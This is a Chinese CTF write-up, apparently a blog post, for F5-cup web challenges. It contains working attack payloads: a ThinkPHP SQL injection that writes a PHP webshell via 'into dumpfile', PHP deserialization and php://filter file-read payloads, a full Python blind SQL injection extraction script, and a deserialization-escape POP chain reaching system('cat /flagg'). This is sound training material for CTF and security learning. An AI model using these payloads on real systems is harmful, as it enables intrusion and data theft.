• F5杯 Web部分题目Writeup by atao


    F5杯 Web部分题目Writeup by atao

    Web1 lastsward's website

    考点:SQL注入写Webshell

    网站是TP3的框架,在网上找到了Payload:?id[0]=exp&id[1]==1 or sleep(5),网站打开游戏后,观察URL发现参数变成了gameId,一开始感觉是SQL注入,但是ban掉了太多函数和语句,其中包括了where关键字让人感觉不是盲注了

    接着出题人给出了两个Hint

    1.flag不在数据库里,尝试写shell
    2.sql查询语句是 select * from game where id = 1 游戏名和游戏id是一张表的不同字段 配合修改游戏名功能写shell
    

    我们知道要通过写Webshell获得flag,然后第二点就是payload可以修改游戏名可以配合写入shell

    不过SQL写入的操作还是很多都被Ban了,测试后发现dumpfile还可以用,根据它给出的SQL查询语句,我们可以拼出 select * from game where id =2 into dumpfile "/var/www/html/shell.php"#,获得Payload为/index.php/Home/Game/gameinfo/?gameId[0]=exp&gameId[1]==2 into dumpfile "/var/www/html/shell.php"#,接着访问shell.php看到了21shengdan,然后对应修改游戏名为<?php phpinfo()?>再打一次,在phpinfo中找到flag

    Web2 eazy-unserialize&eazy-unserialize-revenge

    考点:反序列化

    两题用同一个Payload打通,一开始都是混淆视听的代码,主要代码部分

    class Happy{
        public $file='flag.php';
    
        function __destruct(){
            if(!empty($this->file)) {
                include $this->file;
            }
        }
    
    }
    
    function ezwaf($data){
        if (preg_match("/ctfshow/",$data)){
            die("Hacker !!!");
        }
        return $data;
    }
    if(isset($_GET["w_a_n"])) {
        @unserialize(ezwaf($_GET["w_a_n"]));
    } else {
        new CTFSHOW("lookme", array());
    }
    

    通过Happy类的__destruct魔术方法,存在文件包含的漏洞,这里通过php伪协议进行源码读取

    <?php
    class Happy{
        public $file='php://filter/read=convert.base64-encode/resource=/flag';
    }
    echo serialize(new Happy());
    ?>
    //Payload:?w_a_n=O:5:"Happy":1:{s:4:"file";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}
    

    Web3 迷惑行为大赏之盲注

    考点:SQL盲注中文字符,特殊字符@

    一个登录窗口还有一个忘记密码的功能,登录只会报错登录失败,后来发现忘记密码会有不同的回显,如admin' AND 1=1#回显有带个P,但admin' AND 1=0#回显用户不存在。没有什么过滤,所以很好做,唯一有点坑的地方就是中文数据库,这个得用hex()转成十六进制来获得内容,还有一个就是列名是what@you@want,存在@的特殊字符,得用反引号括起来,上脚本(脚本没使用二分法,又逊又慢!赛后太空人师傅跟我说sqlmap就可以注入出来!!!学好工具真的好用)

    #!/usr/bin/env python
    # -*- coding:utf-8 -*-
    
    import requests
    
    url = 'http://f78d13d1-a633-49d7-a33d-0c6caa352b1d.chall.ctf.show:8080/forgot.php'
    s = 0
    for x in range(1,500):
        data = {
            #'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema='mysql'))={})#".format(x)
            #'username': "admin'AND 1=(length((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'))={})#".format(x)
            #'username': "admin'AND 1=(length((Select group_concat(flagnothere) from user))={})#".format(x)
            #'username': "admin'AND 1=(length((Select group_concat(passw0rd) from user))={})#".format(x)
            #'username': "admin'AND 1=(length((select group_concat(schema_name) from information_schema.schemata))={})#".format(x)
    
            # 1.获得数据库
            'username': "admin'AND 1=(length((select HEX(group_concat(schema_name)) from information_schema.schemata))={})#".format(x)
            # 2.获得表名
            #'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)))={})#".format(x)
            # 3.获得列名
            #'username': "admin'AND 1=(length((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'))={})#".format(x)
            # 4.获得内容,因为有@关键字符,用``反引号括起来
            #'username': "admin'AND 1=(length((Select HEX(group_concat(`what@you@want`)) from 测试.15665611612))={})#".format(x)
    
        }
        res = requests.post(url=url, data=data)
        if " :P" in res.text:
            s = x + 1
            break
    print s
    
    flag = ''
    for i in range(1,s):
        for j in range(34,255):
            data ={
                #'username':"admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='mysql'),{},1))={})#".format(i,j)
                #'username': "admin'AND 1=(ascii(substr((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'),{},1))={})#".format(i, j)
                #'username': "admin'AND 1=(ascii(substr((Select group_concat(flagnothere) from user),{},1))={})#".format(i, j)
                #'username': "admin'AND 1=(ascii(substr((Select group_concat(passw0rd) from user),{},1))={})#".format(i, j)
                #'username': "admin'AND 1=(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))={})#".format(i, j)
    
                #1.获得数据库
                'username': "admin'AND 1=(ascii(substr((select HEX(group_concat(schema_name)) from information_schema.schemata),{},1))={})#".format(i, j)
                # 2.获得表名
                #'username': "admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)),{},1))={})#".format(i, j)
                #3.获得列名
                #'username': "admin'AND 1=(ascii(substr((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'),{},1))={})#".format(i, j)
                #4.获得内容,因为有@关键字符,用``反引号括起来
                #'username': "admin'AND 1=(ascii(substr((Select HEX(group_concat(`what@you@want`)) from `测试`.`15665611612`),{},1))={})#".format(i,j)
                #十六进制转字符串(含中文)的在线解码网址:http://www.bejson.com/convert/ox2str/
            }
            res = requests.post(url=url,data=data)
            #print res.text
            if "P" in res.text:
                flag += chr(j)
                break
        print flag
        #print str(i) + flag
    

    Web4 Web逃离计划

    考点:弱口令、PHP伪协议、反序列化逃逸

    这题不一定能讲的很清楚,如果还是不理解可以私信我!

    一开始是登录界面,随意登陆给了提示说登陆有惊喜,尝试后发现是弱口令登陆admin/admin888,但是没有什么变化,然后就偷偷摸摸扫了后台,获得了hint.php和class.php,并且在hint中存在Here are some key messages that are hidden but u can't read u may try other ways to read this file to get hints,应该是要用别的方式访问

    给出了Hint:注意背景图片

    通过背景图片可以知道存在一个lookMe.php的文件可能存在文件包含的漏洞,访问一下获得源码

    <?php
    
    error_reporting(0);
    if ($_GET['file']){
        $filename = $_GET['file'];
        if ($filename=='logo.png'){
            header("Content-Type:image/png");
            echo file_get_contents("./static/img/logo.png");
        }else{
            ini_set('open_basedir','./');
            if ($filename=='hint.php'){
                echo 'nononono!';
            } else{
                if(preg_match('/read|[x00-x2c]| |flag|..|.//i', $filename)){
                    echo "hacker";
                }else{
                    include($filename);
                }
            }
        }
    }else{
        highlight_file(__FILE__);
    }
    

    过滤内容:read%00-%2C flag..这些内容,但是php伪协议并没有过滤死,在读文件时可以不写read,如下图所示

    读了hint.php后给了ezwaf.phpclass.phpindex.phplookMe.php,然后依次读取源码,下面仅截取有用的部分

    ezwaf.php

    <?php
    function get($data){
        $data = str_replace('forfun', chr(0)."*".chr(0), $data);
        return $data;
    }
    
    function checkData($data){
        if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){
            die("fuc**** hacker!!!
    ");
        }
        else{
            return $data;
        }
    }
    
    function checkLogData($data){
        if (preg_match("/register|magic|PersonalFunction/",$data)){
            die("fuc**** hacker!!!!
    ");
        }
        else{
            return $data;
        }
    }
    

    看到第一个get()函数时猜测反序列化逃逸,后面两个是过滤函数,checkData($data)函数中的stristr()函数对大小写敏感,如果是在反序列化逃逸的过滤可能存在绕过的方式通过将字符串的s类型改为S,可以对十六进制进行解码;checkLogData($data)中的preg_match("/register|magic|PersonalFunction/",$data)并没有i模式所以对大小写不敏感,类名可以通过改变大小写不影响

    index.php

    <?php
    include "class.php";
    include "ezwaf.php";
    session_start();
    $username = $_POST['username'];
    $password = $_POST['password'];
    $finish = false;
    if ($username!=null&&$password!=null){
        $serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
        $login = unserialize($serData);
        $loginStatus = $login->checkStatus();
        if ($loginStatus){
            $_SESSION['login'] = true;
            $_COOKIE['status'] = 0;
        }
        $finish = true;
    }
    ?>
    

    这里知道了接收Login类,然后也验证了反序列化逃逸的论证

    class.php

    <?php
    error_reporting(0);
    
    class Login{
        protected $user_name;
        protected $pass_word;
        protected $admin;
        public function __construct($username,$password){
            $this->user_name=$username;
            $this->pass_word=$password;
            if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
                $this->admin = 1;
            }else{
                $this->admin = 0;
            }
        }
        public function checkStatus(){
            return $this->admin;
        }
    }
    
    
    class register{
        protected $username;
        protected $password;
        protected $mobile;
        protected $mdPwd;
    
        public function __construct($username,$password,$mobile,$mdPwd){
            $this->username = $username;
            $this->password = $password;
            $this->mobile = $mobile;
            $this->$mdPwd = $mdPwd; //初始化时需要传一个magic类进来
        }
    
        public function __toString(){ //__toString()魔术方法用于把类当作字符串时触发
            return $this->mdPwd->pwd; //这里如果$this->mdPwd是magic类,类中没有pwd为不可访问属性会触发__get()
        }
    }
    
    class magic{
        protected $username = 'admin'; //从下面的__get魔术方法中需$username为admin,不然就退出
    
        public function __get($key){ //__get()魔术方法用于从不可访问的属性读取数据
            if ($this->username!=='admin'){
                die("what do you do?");
            }
            $this->getFlag($key);
        }
    
        public function getFlag($key){
            echo $key."</br>";
            system("cat /flagg");
        }
    
    
    }
    
    class PersonalFunction{
        protected $username;
        protected $password;
        protected $func = array();
    
        public function __construct($username, $password,$func){ 
            $this->username = $username;
            $this->password = $password;
            $this->func = $func; //修改$func初始化,让他传入一个包含register类的数组,这样通过checkFunction函数来触发__toString魔术方法
        }
    
        public function checkFunction(array $funcBars) {
            $retData = null;
    
            $personalProperties = array_flip([
                'modifyPwd', 'InvitationCode',
                'modifyAvatar', 'personalData',
            ]);
    
            foreach ($personalProperties as $item => $num){
                foreach ($funcBars as $funcBar => $stat) {
                    if (stristr($stat,$item)){ //这里的stristr会把$stat当作一个字符,可以符合__toString()触发的条件
                        $retData = true;
                    }
                }
            }
    
    
            return $retData;
        }
    
        public function doFunction($function){
            // TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密.
            return true;
        }
    
    
        public function __destruct(){ //__destruct()魔术方法在对象销毁时触发
            $retData = $this->checkFunction($this->func); //这里刚好可以触发
            $this->doFunction($retData);
    
        }
    }
    

    上面的代码我进行了备注和修改,主要为了触发POP链的效果;POP链的利用顺序在下图,从红框开始,跟着箭头走即可。

    POP链构建顺序

    $a = new magic();
    $b = new register('atao','123456','1',$a);
    $c = array($b);
    $d = new PersonalFunction('atao','123456',$c);
    

    剩下一个反序列化逃逸,这里我们知道是将forfun转成 chr(0)."*".chr(0),也就是6个字符转成3个字符

    O:5:"Login":3:{s:12:" * user_name";s:4:"atao";s:12:" * pass_word";s:354:"aaa1";S:12:"0*0pass_word";O:16:"PersonalFunction":3:{S:11:"0*0username";S:4:"atao";S:11:"0*0password";S:6:"123456";S:7:"0*0func";a:1:{i:0;O:8:"register":4:{S:11:"0*0username";S:4:"atao";S:11:"0*0password";S:6:"123456";S:9:"0*0mobile";S:1:"1";S:8:"0*0mdPwd";O:5:"magic":1:{S:11:"0*0username";S:5:"admin";}}}};s:5:"admin";s:8:" * admin";i:0;}
    

    这里黄色部分是要被吃掉的字符串,红色部分是Payload部分,橙色则是补全后面内容的操作(博客上看这部分可能没变色,见谅)

    这里红框中的数字要和后面的字符串中的字符数量相同,假设一开始我们传入n个forfun进去,则会有6*n个字符,但是通过get函数后,变成了3*n个字符,再进行反序列化时因为原本的字符数量不够了会继续往后吃,则上面黄色部分就是用来这些被吃掉的

    然后用红色部分补上了Login类中的pass_word属性。这样反序列化后就会生成一个PersonalFunction对象,然后在销毁时触发POP链

    这里需要填几个forfun自己算一下,通过";s:12:" * pass_word";s:354:"aaa1计算为33个字符,则需要11个forfun

    最后注意的是两个过滤函数,绕过的方法上面给了

    Payload如下

    username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=aaaa";S:12:"0*0pass_word";O:16:"personalFunction":3:{S:11:"0*07573ername";S:4:"atao";S:11:"0*07061ssword";S:6:"123456";S:7:"0*0func";a:1:{i:0;O:8:"Register":4:{S:11:"0*07573ername";S:4:"atao";S:11:"0*07061ssword";S:6:"123456";S:9:"0*0mobile";S:1:"1";S:8:"0*0mdPwd";O:5:"Magic":1:{S:11:"0*07573ername";S:5:"admin";}}}};s:5:"admin
    

    Web5 未完成的项目

    真的就没有完成,AK失败,得学习一下NodeJS,只知道原型污染链和一些Trick,其他的还不了解。

  • 相关阅读:
    【技术博客】利用handler实现线程之间的消息传递
    BUAA软件工程个人作业-软件案例分析
    BUAA软件工程结对项目作业
    BUAA软件工程个人项目作业
    BUAA软件工程个人博客作业
    BUAA-软件工程第一次作业
    BUAA-OO-最后单元总结
    BUAA-OO-第三单元总结
    BUAA-OO-第二单元总结
    第四单元总结&&OO总结
  • 原文地址:https://www.cnblogs.com/erR0Ratao/p/14439131.html
Copyright © 2020-2023  润新知